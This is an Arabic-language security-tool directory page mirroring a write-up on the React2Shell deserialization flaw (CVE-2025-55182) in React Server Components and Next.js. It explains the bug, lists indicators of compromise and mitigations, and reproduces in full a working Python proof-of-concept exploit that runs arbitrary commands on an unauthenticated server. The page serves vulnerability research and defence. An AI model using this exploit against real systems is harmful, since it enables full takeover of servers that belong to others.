Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell، CVE-2025-55182، ثغرة RCE: تحليل نقدي لخلل إلغاء التسلسل غير الآمن في مكونات خادم React الذي يتيح تنفيذ كود عن بعد غير مصادق عليه عبر إعدادات React/Next.js الافتراضية. | Kitploit
أدوات/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
إدارة مؤشرات الاختراق (IOC)تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقاستخبارات التهديداتالأوراق والأبحاثالتعلم والتعليم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الاستجابة للحوادث
تطوير الحمولات
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell، CVE-2025-55182، ثغرة RCE: تحليل نقدي لخلل إلغاء التسلسل غير الآمن في مكونات خادم React الذي يتيح تنفيذ كود عن بعد غير مصادق عليه عبر إعدادات React/Next.js الافتراضية.

عرض المستودع
8منذ 8 أشهرلم تتم المراجعة بعد

React2Shell (CVE-2025-55182): ثغرة إلغاء التسلسل التي كسرت الويب ⚡

React2Shell, CVE-2025-55182, ثغرة تنفيذ الأوامر عن بُعد: تحليل نقدي لثغرة إلغاء التسلسل غير الآمنة في مكونات خادم React التي تمكن من تنفيذ الأوامر عن بُعد دون مصادقة عبر إعدادات React/Next.js الافتراضية.

⏩ خلاصة سريعة

React2Shell (CVE-2025-55182) هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) تؤثر على مكونات خادم React (RSC) في React 19.x وأطر العمل مثل Next.js. تكمن الثغرة في إلغاء التسلسل غير الآمن لأجزاء بروتوكول "Flight"، مما يسمح للمهاجمين بحقن هياكل ضارة تتحول إلى منشئ الدوال (Function constructor)، مما يؤدي إلى تنفيذ كود JavaScript عشوائي على الخادم.

  • تعمل على التكوينات الافتراضية
  • لا تتطلب أي مصادقة
  • تستغل طلبات multipart/form-data القياسية
  • تؤدي إلى السيطرة الكاملة على الخادم
  • يوجد إثبات مفهوم عام (نسب أدناه)
  • التخفيف: التحديث إلى React 19.2.1+ / إصدارات Next.js المصححة

React2Shell


👋 مقدمة

تم تقديم مكونات خادم React لسد الفجوة بين عرض العميل والخادم بسير عمل أكثر سلاسة وقابلية للتركيب. للقيام بذلك، تستخدم React قناة تسلسل ثنائية الطابع مخصصة تسمى بروتوكول Flight.

لسوء الحظ، احتوى منطق إلغاء تسلسل هذا البروتوكول على عيب دقيق سمح للمهاجمين بتهريب حمولات ضارة عميقًا في بيئة تشغيل React.

النتيجة؟ سلسلة كاملة لتنفيذ الأوامر عن بُعد بدون مصادقة، أطلق عليها الآن اسم React2Shell — ونعم، تأثيرها مشابه لـ Log4Shell من حيث النطاق وسهولة الوصول. 🔥

تقوم هذه المقالة بتفصيل الثغرة بتنسيق نظيف وقابل للتطبيق — مثالي لممارسي اختبار الاختراق والباحثين والمدافعين.


🧠 شرح الثغرة (React2Shell بلغة بسيطة)

🧩 1. كيف يعمل بروتوكول Flight في React

يتواصل RSC مع العميل عن طريق إرسال "أجزاء" مسلسلة تمثل مراجع، كائنات، بيانات وصفية للمكونات، حدود غير متزامنة، إلخ.

عند وصول هذه الأجزاء إلى الخادم أو العميل، يقوم React بإلغاء تسلسلها إلى كائنات ودوال.

تفترض هذه العملية أن بنية البيانات آمنة. هذا هو المكان الذي حدث فيه الخلل.


💥 2. العيب الأساسي: إلغاء التسلسل غير الآمن → منشئ الدوال → RCE

وجد المهاجمون طريقة لصنع أجزاء ضارة تحتوي على:

  • معدّلات الوصول للنموذج الأولي
  • كائنات زائفة تشبه الوعد (thenables)
  • مفاتيح تشير إلى سلسلة النموذج الأولي
  • مسارات تؤدي في النهاية إلى كشف منشئ الدوال

مثال للنمط:

root@kitploit:~
"$then": { "constructor": { "prototype": null } }

أثناء إلغاء التسلسل، يفسر React هذا الكائن على أنه كائن ثم (thenable) ويستدعي:

root@kitploit:~
promise.then(...)

لكن هنا، then هو في الواقع منشئ الدوال، لذلك يصبح الاستدعاء:

root@kitploit:~
(new Function("حمولة_ضارة"))();

يؤدي هذا إلى تنفيذ كود JavaScript عشوائي داخل بيئة Node.js التي تشغل مكونات خادم React.

بوم — لديك RCE.


🚨 3. لماذا هو خطير جدًا

  • لا يتطلب مصادقة
  • يعمل على تطبيقات Next.js الافتراضية
  • لا حاجة لأي تكوين أو علامة خاصة
  • طلب HTTP POST بسيط
  • يؤدي إلى اختراق كامل: كتابة ملفات، تشغيل عمليات، حركة جانبية

لهذا السبب تفاعل بائعي السحابة وفرق الأمان وCERTs فورًا بعد نشرها.


🚨 مؤشرات الاختراق (IoCs)

📡 مؤشرات الشبكة

  • طلبات POST متعددة الأجزاء إلى:

    • /react
    • /rsc
    • /server, /flight, /server-actions
  • حمولات تحتوي على مفاتيح مثل:

    • $then
    • $proto
    • $constructor
    • $type

🖥️ مؤشرات على مستوى المضيف

  • عمليات تنفيذ Node.js مشبوهة مثل:

    root@kitploit:~
    node -e "<حمولة>"
    
  • ملفات غير متوقعة تحت:

    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 مؤشرات سلوكية

  • سجلات عدم تطابق التهيئة (hydration mismatch) تسبق شذوذ التنفيذ
  • اتصالات صادرة مفاجئة إلى عناوين IP مشبوهة
  • أعطال في معالجات إلغاء تسلسل RSC
  • أجزاء Flight غير عادية أو مشوهة يعيدها الخادم

🧪 إثبات المفهوم (PoC)

⚠️ ملاحظة مهمة
أنا لا أملك هذا الإثبات.
تمت الإشارة إليه من المستودع العام التالي، مع الإقرار الكامل للمؤلف:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ إخلاء مسؤولية:

إثبات المفهوم التالي (PoC) مقدم حصريًا للأغراض التعليمية والبحث الأمني الدفاعي.
يجب تنفيذه فقط في بيئات معملية معزولة أو على أنظمة حيث لديك تفويض صريح للاختبار.

إساءة استخدام هذا الكود للوصول غير المصرح به أو الاستغلال أو اختراق النظام هو غير قانوني وغير أخلاقي ويعاقب عليه بموجب قوانين الأمن السيبراني.
تصرف بمسؤولية. 🛡️💻

فيما يلي إثبات المفهوم الكامل:

root@kitploit:~
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ إخلاء مسؤولية:

إذا قمت بتنفيذ إثبات المفهوم هذا، فتأكد من أنك فعلت ذلك في صندوق رمل مُتحكم به وليس على أي أصول إنتاجية أو تابعة لجهات خارجية.

هذا العرض موجود فقط لمساعدة المحللين والمطورين والمدافعين على فهم واكتشاف وتخفيف CVE-2025-55182 (React2Shell).
أي استخدام ضار أو غير مصرح به لهذه المعلومات ممنوع منعًا باتًا وليس معتمدًا من قبل المؤلف.

ابق أخلاقيًا. ابق آمنًا. 🐉🔥


🛡️ استراتيجية التخفيف والدفاع

✅ 1. الترقية فورًا

  • React → 19.2.1+
  • Next.js → الإصدارات المصححة التي أصدرتها Vercel
  • الأطر الأخرى المدعومة لـ RSC → تطبيق تصحيحات البائعين

🔐 2. التعزيز على المدى القصير

  • إضافة توقيعات WAF لأنماط إلغاء تسلسل RSC
  • حظر حركة POST متعددة الأجزاء المشبوهة
  • تقييد الوصول العام إلى نقاط نهاية إجراءات الخادم
  • تعطيل ميزات RSC التجريبية إذا لم تكن مطلوبة
  • فرض التحقق الصارم من الطلبات الواردة

🧱 3. الدفاع في العمق

  • استخدام عزل بيئة تشغيل Node.js
  • تفعيل قيود الشبكة الصادرة
  • تدقيق تنفيذ الأكواد غير المتوقعة على جانب الخادم
  • إضافة كشف الشذوذ إلى السجلات وخطوط الأنابيب

👋 خاتمة — ابق فضوليًا، ابق آمنًا 🔥

React2Shell هو تذكير قوي بأن طبقات التسلسل، مهما كانت أنيقة، تظل واحدة من أخطر المكونات في الأطر الحديثة. في اللحظة التي تلمس فيها الكائنات العشوائية بيئة التشغيل دون تحقق، تصبح سلسلة RCE قصيرة بشكل مؤلم.

شكرًا للقراءة — وكالعادة، استمر في الاختراق الأخلاقي، واستمر في التعلم باستمرار، وأبقِ شعلة الأمن مشتعلة. 🔥🐉


⭐ تابعني وتواصل

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010


تنزيل الأداة